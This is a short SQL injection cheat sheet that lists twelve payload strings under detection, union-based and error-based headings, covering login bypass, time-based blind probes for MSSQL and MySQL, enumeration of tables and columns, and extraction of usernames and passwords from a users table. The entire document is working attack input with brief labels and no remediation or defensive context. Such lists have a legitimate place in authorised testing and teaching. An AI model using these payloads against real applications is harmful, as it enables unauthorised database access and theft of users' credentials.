Web Security

SQL Injection Cheat Sheet

3 sections12 commands

Detection

5 entries
  • ' OR 1=1--Basic authentication bypass
  • ' OR '1'='1String-based bypass
  • 1 OR 1=1Numeric injection
  • '; WAITFOR DELAY '0:0:5'--Time-based blind (MSSQL)
  • ' AND SLEEP(5)--Time-based blind (MySQL)

Union Based

5 entries
  • ' UNION SELECT NULL--Determine column count
  • ' UNION SELECT 1,2,3--Find visible columns
  • ' UNION SELECT username,password FROM users--Extract data
  • ' UNION SELECT table_name,NULL FROM information_schema.tables--List tables
  • ' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--List columns

Error Based

2 entries
  • ' AND extractvalue(1,concat(0x7e,(SELECT version())))--MySQL error extraction
  • ' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--MSSQL error extraction